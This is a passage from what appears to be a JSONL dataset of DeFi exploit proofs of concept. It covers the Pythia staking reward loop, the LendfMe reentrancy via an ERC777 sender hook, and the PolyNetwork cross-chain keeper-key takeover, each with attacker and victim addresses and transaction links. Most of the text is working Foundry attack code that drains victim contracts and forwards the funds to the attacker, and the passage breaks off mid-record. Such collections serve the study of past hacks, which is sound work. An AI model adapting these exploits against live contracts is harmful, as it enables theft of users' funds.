type(uint256).max);\n IPythiaStaking(PYTHIA_STAKING).stake(bal);\n }\n\n function claimRewards() public {\n IPythiaStaking spythia = IPythiaStaking(PYTHIA_STAKING);\n IERC20 pythia = IERC20(PYTHIA_TOKEN);\n \n for (uint256 i = 0; i < 30; i++) {\n uint256 stakeBal = spythia.balanceOf(address(this));\n Helper helper = new Helper();\n\n spythia.transfer(address(helper), stakeBal);\n helper.attack();\n\n uint256 bal = pythia.balanceOf(address(this));\n spythia.stake(bal);\n }\n spythia.transfer(attacker, spythia.balanceOf(address(this)));\n }\n}\n\ncontract Helper {\n function attack() public {\n IPythiaStaking spythia = IPythiaStaking(PYTHIA_STAKING);\n IERC20 pythia = IERC20(PYTHIA_TOKEN);\n // uint256 bal = pythia.balanceOf(address(this));\n uint256 stakeBal = spythia.balanceOf(address(this));\n\n spythia.claimRewards();\n\n uint256 bal = pythia.balanceOf(address(this));\n pythia.transfer(msg.sender, bal);\n\n spythia.transfer(msg.sender, stakeBal);\n }\n\n}\n\ninterface IPythiaStaking is IERC20 {\n function stake(uint256 amount) external;\n function claimRewards() external;\n}\n", "type": "exploit_poc", "protocol": "Pythia", "date": "2024-09", "file_name": "Pythia_exp.sol", "attack_vector": null, "content_hash": "7a1810e894828ba6", "collected_at": "2026-01-07T10:59:16.534554", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "21 ETH", "total_lost_usd": 21.0, "attacker_address": "https://etherscan.io/address/0xd861e6f1760d014d6ee6428cf7f7d732563c74c0", "attack_contract": "https://etherscan.io/address/0x542533536e314180e1b9f00b2c046f6282eb3647", "vulnerable_contract": "https://etherscan.io/address/0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461", "attack_tx": "https://etherscan.io/tx/0x7e19f8edb1f1666322113f15d7674593950ac94bbc25d2aff96adabdcae0a6c3", "postmortem_url": null, "twitter_url": "https://x.com/QuillAudits_AI/status/1830976830607892649", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "21 ETH", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n vm.deal(address(this), 1 ether);\n AttackContract attackContract = new AttackContract();\n attackContract.stake{value: 0.5 ether}();\n\n attackContract.claimRewards();\n }\n}\n\ncontract AttackContract {\n address attacker;\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "21 ETH", "keyinfo_attacker": "https://etherscan.io/address/0xd861e6f1760d014d6ee6428cf7f7d732563c74c0", "keyinfo_attack_contract": "https://etherscan.io/address/0x542533536e314180e1b9f00b2c046f6282eb3647", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461", "keyinfo_attack_tx": "https://etherscan.io/tx/0x7e19f8edb1f1666322113f15d7674593950ac94bbc25d2aff96adabdcae0a6c3", "analysis_postmortem": "", "analysis_twitter": "https://x.com/QuillAudits_AI/status/1830976830607892649", "funds_lost_formatted": "$21", "content_richness_score": 7.81, "quality_estimate": "medium", "title": "Pythia Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\nLendf.Me Reentry Exploit PoC\n\nSee https://peckshield.medium.com/uniswap-lendf-me-hacks-root-cause-and-loss-analysis-50f3263dcc09 for more detail\n\nExample tx - https://etherscan.io/tx/0xae7d664bdfcc54220df4f18d339005c6faf6e62c9ca79c56387bc0389274363b\n*/\n\ninterface IMoneyMarket {\n function supply(address asset, uint256 amount) external returns (uint256);\n\n function withdraw(address asset, uint256 requestedAmount) external returns (uint256);\n}\n\ncontract LendfMeExploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;\n address victim = 0x0eEe3E3828A45f7601D5F54bF49bB01d1A9dF5ea;\n address attacker = 0xA9BF70A420d364e923C74448D9D817d3F2A77822;\n IERC20 imBTC = IERC20(0x3212b29E33587A00FB1C83346f5dBFA69A458923);\n IERC1820Registry internal erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);\n bytes32 internal constant TOKENS_SENDER_INTERFACE_HASH =\n 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 9_899_725);\n }\n\n function tokensToSend(\n address, // operator\n address, // from\n address, // to\n uint256 amount,\n bytes calldata, // userData\n bytes calldata // operatorData\n ) external {\n if (amount == 1) {\n IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);\n }\n }\n\n function testExploit() public {\n emit log_named_uint(\"[Before Attack]Victim imBTC Balance : \", (imBTC.balanceOf(victim)));\n emit log_named_uint(\"[Before Attack]Attacker imBTC Balance : \", (imBTC.balanceOf(attacker)));\n\n // prepare\n imBTC.approve(victim, type(uint256).max);\n erc1820.setInterfaceImplementer(address(this), TOKENS_SENDER_INTERFACE_HASH, address(this));\n\n // move\n cheats.startPrank(attacker);\n imBTC.transfer(address(this), imBTC.balanceOf(attacker));\n cheats.stopPrank();\n\n // attack\n uint256 this_balance = imBTC.balanceOf(address(this));\n uint256 victim_balance = imBTC.balanceOf(victim);\n if (this_balance > (victim_balance + 1)) {\n this_balance = victim_balance + 1;\n }\n IMoneyMarket(victim).supply(address(imBTC), this_balance - 1);\n IMoneyMarket(victim).supply(address(imBTC), 1);\n IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);\n\n // transfer benefit back to the attacker\n IERC20(imBTC).transfer(attacker, IERC20(imBTC).balanceOf(address(this)));\n\n emit log_string(\"--------------------------------------------------------------\");\n emit log_named_uint(\"[After Attack]Victim imBTC Balance : \", (imBTC.balanceOf(victim)));\n emit log_named_uint(\"[After Attack]Attacker imBTC Balance : \", (imBTC.balanceOf(attacker)));\n }\n}\n", "type": "exploit_poc", "protocol": "LendfMe", "date": "2020-04", "file_name": "LendfMe_exp.sol", "attack_vector": null, "content_hash": "13c4d010ba631155", "collected_at": "2026-01-07T10:59:16.534604", "_source": "postmortems", "chain": "ethereum", "block_number": 9899725, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"[Before Attack]Victim imBTC Balance : \", (imBTC.balanceOf(victim)));\n emit log_named_uint(\"[Before Attack]Attacker imBTC Balance : \", (imBTC.balanceOf(attacker)));\n\n // prepare\n imBTC.approve(victim, type(uint256).max);\n erc1820.setInterfaceImplementer(address(this), TOKENS_SENDER_INTERFACE_HASH, address(this));\n\n // move\n cheats.startPrank(attacker);\n imBTC.transfer(address(this), imBTC.balanceOf(attacker));\n cheats.stopPrank();\n\n // attack\n uint256 this_balance = imBTC.balanceOf(address(this));\n uint256 victim_balance = imBTC.balanceOf(victim);\n if (this_balance > (victim_balance + 1)) {\n this_balance = victim_balance + 1;\n }\n IMoneyMarket(victim).supply(address(imBTC), this_balance - 1);\n IMoneyMarket(victim).supply(address(imBTC), 1);\n IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);\n\n // transfer benefit back to the attacker\n IERC20(imBTC).transfer(attacker, IERC20(imBTC).balanceOf(address(this)));\n\n emit log_string(\"--------------------------------------------------------------\");\n emit log_named_uint(\"[After Attack]Victim imBTC Balance : \", (imBTC.balanceOf(victim)));\n emit log_named_uint(\"[After Attack]Attacker imBTC Balance : \", (imBTC.balanceOf(attacker)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.54, "quality_estimate": "low", "title": "LendfMe Exploit (2020-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n// import \"./utils.sol\";\n\ninterface IEthCrossChainManager {\n function verifyHeaderAndExecuteTx(\n bytes memory proof,\n bytes memory rawHeader,\n bytes memory headerProof,\n bytes memory curRawHeader,\n bytes memory headerSig\n ) external returns (bool);\n}\n\ninterface IEthCrossChainData {\n function putCurEpochStartHeight(\n uint32 curEpochStartHeight\n ) external returns (bool);\n function getCurEpochStartHeight() external view returns (uint32);\n function putCurEpochConPubKeyBytes(\n bytes calldata curEpochPkBytes\n ) external returns (bool);\n function getCurEpochConPubKeyBytes() external view returns (bytes memory);\n function markFromChainTxExist(uint64 fromChainId, bytes32 fromChainTx) external returns (bool);\n function checkIfFromChainTxExist(uint64 fromChainId, bytes32 fromChainTx) external view returns (bool);\n function getEthTxHashIndex() external view returns (uint256);\n function putEthTxHash(\n bytes32 ethTxHash\n ) external returns (bool);\n function putExtraData(bytes32 key1, bytes32 key2, bytes calldata value) external returns (bool);\n function getExtraData(bytes32 key1, bytes32 key2) external view returns (bytes memory);\n function transferOwnership(\n address newOwner\n ) external;\n function pause() external returns (bool);\n function unpause() external returns (bool);\n function paused() external view returns (bool);\n // Not used currently by ECCM\n function getEthTxHash(\n uint256 ethTxHashIndex\n ) external view returns (bytes32);\n}\n\ncontract ContractTest is Test {\n struct Header {\n uint32 version;\n uint64 chainId;\n uint32 timestamp;\n uint32 height;\n uint64 consensusData;\n bytes32 prevBlockHash;\n bytes32 transactionsRoot;\n bytes32 crossStatesRoot;\n bytes32 blockRoot;\n bytes consensusPayload;\n bytes20 nextBookkeeper;\n }\n\n struct ToMerkleValue {\n bytes txHash; // cross chain txhash\n uint64 fromChainID;\n TxParam makeTxParam;\n }\n\n struct TxParam {\n bytes txHash; // source chain txhash\n bytes crossChainId;\n bytes fromContract;\n uint64 toChainId;\n bytes toContract;\n bytes method;\n bytes args;\n }\n\n address exploiter = 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963;\n address EthCrossChainManager = 0x838bf9E95CB12Dd76a54C9f9D2E3082EAF928270;\n address EthCrossChainData = 0xcF2afe102057bA5c16f899271045a0A37fCb10f2;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 12_996_658); //fork mainnet at block 12996658\n }\n\n function testExploit() public {\n // \"Poly has a contract called the \"EthCrossChainManager\". It's a privileged contract that has the right to trigger messages from another chain. It's a standard thing for cross-chain projects.\n\n // It has a function named verifyHeaderAndExecuteTx that anyone can call to execute a cross-chain transaction.\n\n // It (1) verifies that the block header is correct by checking signatures (seems the other chain was a poa sidechain or) and then (2) checks that the transaction was included within that block with a Merkle proof. Here's the code.\n\n // One of the last things the function does is call executeCrossChainTx, which makes the call to the target contract. This is where the critical flaw sits. Poly checks that the target is a contract, but they forgot to prevent users from calling a very important target... the EthCrossChainData contract\n\n // By sending this cross-chain message, the user could trick the EthCrossChainManager into calling the EthCrossChainData contract, passing the onlyOwner check. Now the user just had to craft the right data to be able to trigger the function that changes the public keys\u2026\n\n // https://etherscan.io/tx/0xb1f70464bd95b774c6ce60fc706eb5f9e35cb5f06e6cfe7c17dcda46ffd59581/advanced\n cheats.startPrank(exploiter);\n emit log_named_bytes(\n \"existing CurEpochConPubKeyBytes\", IEthCrossChainData(EthCrossChainData).getCurEpochConPubKeyBytes()\n );\n bytes memory rawHeader =\n hex\"0000000000000000000000008446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708d38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717f3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834bc7471261843aa80030451454a4f4b560fd13017b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d0000000000000000000000000000000000000000\";\n // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/libs/EthCrossChainUtils.sol\n Header memory header = Header({\n version: 0,\n chainId: 0,\n timestamp: 1_628_587_975,\n height: 11_025_028,\n consensusData: 6_968_744_985_048_139_056,\n prevBlockHash: hex\"8446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708\",\n transactionsRoot: hex\"d38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a\",\n crossStatesRoot: hex\"773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717\",\n blockRoot: hex\"f3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834b\",\n consensusPayload: hex\"7b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d\",\n nextBookkeeper: hex\"0000000000000000000000000000000000000000\"\n });\n\n bytes memory proof =\n hex\"af2080cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a0300000000000000200c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f708ea3100000000000014e1a18842891f8e82a5e6e5ad0a06d8448fe2f407020000000000000014cf2afe102057ba5c16f899271045a0a37fcb10f20b66313132313331383039331d010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b01362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5017b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b3301ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d\";\n // value length: af\n // ToMerkleValue.txHash length: 20\n // ToMerkleValue.txHash: 80cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a\n // ToMerkleValue.fromChainID: 0300000000000000\n // TxParam.txHash length: 20\n // TxParam.txHash: 0c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f7\n // TxParam.crossChainId length: 08\n // TxParam.crossChainId: ea31000000000000\n // TxParam.fromContract length: 14\n // TxParam.fromContract: e1a18842891f8e82a5e6e5ad0a06d8448fe2f407\n // TxParam.toChainId: 0200000000000000\n // TxParam.toContract length: 14\n // TxParam.toContract: cf2afe102057ba5c16f899271045a0a37fcb10f2\n // TxParam.method length: 0b\n // TxParam.method: 6631313231333138303933\n // TxParam.args length: 1d\n // TxParam.args: 010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b\n // pos: 01\n // nodehash: 362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5\n // pos: 01\n // nodehash: 7b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b33\n // pos: 01\n // nodehash: ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d\n // bytes memory toMerkleValueBs = ECCUtils.merkleProve(proof, header.crossStatesRoot);\n // ECCUtils.ToMerkleValue memory toMerkleValue = ECCUtils.deserializeMerkleValue(toMerkleValueBs);\n ToMerkleValue memory toMerkleValue = ToMerkleValue({\n txHash: hex\"80cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a\", // cross chain txhash\n fromChainID: 3,\n makeTxParam: TxParam({\n txHash: hex\"0c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f7\", // source chain txhash\n crossChainId: hex\"ea31000000000000\",\n fromContract: hex\"e1a18842891f8e82a5e6e5ad0a06d8448fe2f407\",\n toChainId: 2,\n toContract: abi.encodePacked(EthCrossChainData),\n method: hex\"6631313231333138303933\", // bytes.fromhex(\"6631313231333138303933\") => b'f1121318093'\n args: hex\"010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b\"\n })\n });\n\n // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/logic/EthCrossChainManager.sol#L127\n IEthCrossChainManager(EthCrossChainManager).verifyHeaderAndExecuteTx({ // 0xd450e04c\n proof: proof,\n rawHeader: rawHeader,\n headerProof: hex\"\",\n curRawHeader: hex\"\",\n headerSig: hex\"7e3359dec445d7d49b80d9999ef2e34f01b6526f2a0b848fcb223201b21ced0e51bece6815510bf7283e98175c0bdfde8b5b1bdc38beef5e7b8ab1b8e8d1b2c900428e40826b3606e0b684d66e9406a5c0d69c16a5cbda8fefe176716f3286e872361ed29bd945b56d5af3a8c581d2b627f679061282f11a6e9b021fe3426faece00e09479bd3581f9eb27be273a761c509f6f20bde1c6a4187fa082c4e55b2f07684034b50075441c51cfc3061879bcf04e5a256b21379f67a2dc0643843bf6438000\"\n });\n // a) 0x69d48074: getCurEpochConPubKeyBytes()\n // b) 0x5ac40790: getCurEpochStartHeight()\n // c) 0x0586763c000000000000000000000000000000000000000000000000000000000000000380cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a: checkIfFromChainTxExist(uint64,bytes32)\n // d) 0xe90bfdcf000000000000000000000000000000000000000000000000000000000000000380cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a: markFromChainTxExist(uint64,bytes32)\n // e) 0x41973cd9000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000001d010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b0000000000000000000000000000000000000000000000000000000000000000000014e1a18842891f8e82a5e6e5ad0a06d8448fe2f407000000000000000000000000: putCurEpochConPubKeyBytes(bytes) / f1121318093(bytes,bytes,uint64) / func10487987874260605968(bytes,bytes,uint64)\n\n // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/logic/EthCrossChainManager.sol#L183\n // (success, returnData) = EthCrossChainData.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(toMerkleValue.makeTxParam.method, \"(bytes,bytes,uint64)\"))), abi.encode(toMerkleValue.makeTxParam.args, toMerkleValue.makeTxParam.fromContractAddr, toMerkleValue.makeTxParam.fromChainId)));\n emit log_named_bytes(\n \"changed CurEpochConPubKeyBytes\", IEthCrossChainData(EthCrossChainData).getCurEpochConPubKeyBytes()\n );\n\n // token transfer: https://etherscan.io/tx/0xad7a2c70c958fcd3effbf374d0acf3774a9257577625ae4c838e24b0de17602a\n address AssetProxy = 0x250e76987d838a75310c34bf422ea9f1AC4Cc906;\n // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/lock_proxy/LockProxy.sol#L64\n emit log_named_uint(\"balance before\", exploiter.balance);\n IEthCrossChainManager(EthCrossChainManager).verifyHeaderAndExecuteTx({\n proof: hex\"b12094821f19c671e4c557c358d0780bd2030f3c909df3cb6933607077b9e57d89bd0a00000000000000010001001434d4a23a1fc0c694f0d74ddaf9d8d564cfe2d430020000000000000014250e76987d838a75310c34bf422ea9f1ac4cc90606756e6c6f636b4a14000000000000000000000000000000000000000014c8a65fadf0e0ddaf421f28feab69bf6e2e5899632662f145d8d496e79a0000000000000000000000000000000000000000000000\",\n // toContract: AssetProxy\n // method: 756e6c6f636b\n // args: 14000000000000000000000000000000000000000014c8a65fadf0e0ddaf421f28feab69bf6e2e5899632662f145d8d496e79a0000000000000000000000000000000000000000000000\n // struct TxArgs {\n // bytes toAssetHash; 0000000000000000000000000000000000000000 // eth\n // bytes toAddress; C8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963\n // uint256 amount; 2662f145d8d496e79a0000000000000000000000000000000000000000000000 // 2857486346845890372134\n // }\n rawHeader: hex\"00000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000afc014478ad573eaa072aaf625f990b01b1f0733b6070d2e38770f74c4d5fac900000000000000000000000000000000000000000000000000000000000000000000000000ca9a3b020000000000000001000000000000000000000000000000000000000000000000000000000000000000\",\n headerProof: hex\"\",\n curRawHeader: hex\"\",\n headerSig: hex\"0c6539f57b9bd2138b003744d9bd94375111bd0137525073b5b3967b7089d98f47236cea76488260b74cb587dbbeb7c5f35a056a5cf5b63649cd90ff487f386401\"\n });\n emit log_named_uint(\"balance after\", exploiter.balance);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "PolyNetwork", "date": "2021-08", "file_name": "PolyNetwork_exp.sol", "attack_vector": null, "content_hash": "c2159157b5db1bcb", "collected_at": "2026-01-07T10:59:16.534731", "_source": "postmortems", "chain": "ethereum", "block_number": 12996658, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n // \"Poly has a contract called the \"EthCrossChainManager\". It's a privileged contract that has the right to trigger messages from another chain. It's a standard thing for cross-chain projects.\n\n // It has a function named verifyHeaderAndExecuteTx that anyone can call to execute a cross-chain transaction.\n\n // It (1) verifies that the block header is correct by checking signatures (seems the other chain was a poa sidechain or) and then (2) checks that the transaction was included within that block with a Merkle proof. Here's the code.\n\n // One of the last things the function does is call executeCrossChainTx, which makes the call to the target contract. This is where the critical flaw sits. Poly checks that the target is a contract, but they forgot to prevent users from calling a very important target... the EthCrossChainData contract\n\n // By sending this cross-chain message, the user could trick the EthCrossChainManager into calling the EthCrossChainData contract, passing the onlyOwner check. Now the user just had to craft the right data to be able to trigger the function that changes the public keys\u2026\n\n // https://etherscan.io/tx/0xb1f70464bd95b774c6ce60fc706eb5f9e35cb5f06e6cfe7c17dcda46ffd59581/advanced\n cheats.startPrank(exploiter);\n emit log_named_bytes(\n \"existing CurEpochConPubKeyBytes\", IEthCrossChainData(EthCrossChainData).getCurEpochConPubKeyBytes()\n );\n bytes memory rawHeader =\n hex\"0000000000000000000000008446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708d38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717f3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834bc7471261843aa80030451454a4f4b560fd13017b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d0000000000000000000000000000000000000000\";\n // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/libs/EthCrossChainUtils.sol\n Header memory header = Header({\n version: 0,\n chainId: 0,\n timestamp: 1_628_587_975,\n height: 11_025_028,\n consensusData: 6_968_744_985_048_139_056,\n prevBlockHash: hex\"8446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708\",\n transactionsRoot: hex\"d38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a\",\n crossStatesRoot: hex\"773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717\",\n blockRoot: hex\"f3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834b\",\n consensusPayload: hex\"7b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d\",\n nextBookkeeper: hex\"0000000000000000000000000000000000000000\"\n });\n\n bytes memory proof =\n hex\"af2080cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a0300000000000000200c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f708ea3100000000000014e1a18842891f8e82a5e6e5ad0a06d8448fe2f407020000000000000014cf2afe102057ba5c16f899271045a0a37fcb10f20b66313132313331383039331d010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b01362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5017b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b3301ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d\";\n // value length: af\n // ToMerkleValue.txHash length: 20\n // ToMerkleValue.txHash: 80cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a\n // ToMerkleValue.fromChainID: 0300000000000000\n // TxParam.txHash length: 20\n // TxParam.txHash: 0c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f7\n // TxParam.crossChainId length: 08\n // TxParam.crossChainId: ea31000000000000\n // TxParam.fromContract length: 14\n // TxParam.fromContract: e1a18842891f8e82a5e6e5ad0a06d8448fe2f407\n // TxParam.toChainId: 0200000000000000\n // TxParam.toContract length: 14\n // TxParam.toContract: cf2afe102057ba5c16f899271045a0a37fcb10f2\n // TxParam.method length: 0b\n // TxParam.method: 6631313231333138303933\n // TxParam.args length: 1d\n // TxParam.args: 010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b\n // pos: 01\n // nodehash: 362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5\n // pos: 01\n // nodehash: 7b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b33\n // pos: 01\n // nodehash: ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d\n // bytes memory toMerkleValueBs = ECCUtils.merkleProve(proof, header.crossStatesRoot);\n // ECCUtils.ToMerkleValue memory toMerkleValue = ECCUtils.deserializeMerkleValue(toMerkleValueBs);\n ToMerkleValue memory toMerkleValue = ToMerkleValue({\n txHash: hex\"80cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a\", // cross chain txhash\n fromChainID: 3,\n makeTxParam: TxParam({\n txHash: hex\"0c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f7\", // source chain txhash\n crossChainId: hex\"ea31000000000000\",\n fromContract: hex\"e1a18842891f8e82a5e6e5ad0a06d8448fe2f407\",\n toChainId: 2,\n toContract: abi.encodePacked(EthCrossChainData),\n method: hex\"6631313231333138303933\", // bytes.fromhex(\"6631313231333138303933\") => b'f1121318093'\n args: hex\"010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b\"\n })\n });\n\n // https://github.com/polynetwork/eth-contracts/blob/d16252b2b857eecf8e558bd3e1f3bb14cff30e9b/contracts/core/cross_chain_manager/logic/EthCrossChainManager.sol#L127\n IEthCrossChainManager(EthCrossChainManager).verifyHeaderAndExecuteTx({ // 0xd450e04c\n proof: proof,\n rawHeader: rawHeader,\n headerProof: hex\"\",\n curRawHeader: hex\"\",\n headerSig: hex\"7e3359dec445d7d49b80d9999ef2e34f01b6526f2a0b848fcb223201b21ced0e51bece6815510bf7283e98175c0bdfde8b5b1bdc38beef5e7b8ab1b8e8d1b2c900428e40826b3606e0b684d66e9406a5c0d69c16a5cbda8fefe176716f3286e872361ed29bd945b56d5af3a8c581d2b627f679061282f11a6e9b021fe3426faece00e09479bd3581f9eb27be273a761c509f6f20bde1c6a4187fa082c4e55b2f07684034b50075441c51cfc3061879bcf04e5a256b21379f67a2dc0643843bf6438000\"\n });\n // a) 0x69d48074: getCurEpochConPubKeyBytes()\n // b) 0x5ac40790: getCurEpochStartHeight()\n // c) 0x0586763c000000000000000000000000000000000000000000000000000000000000000380cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a: 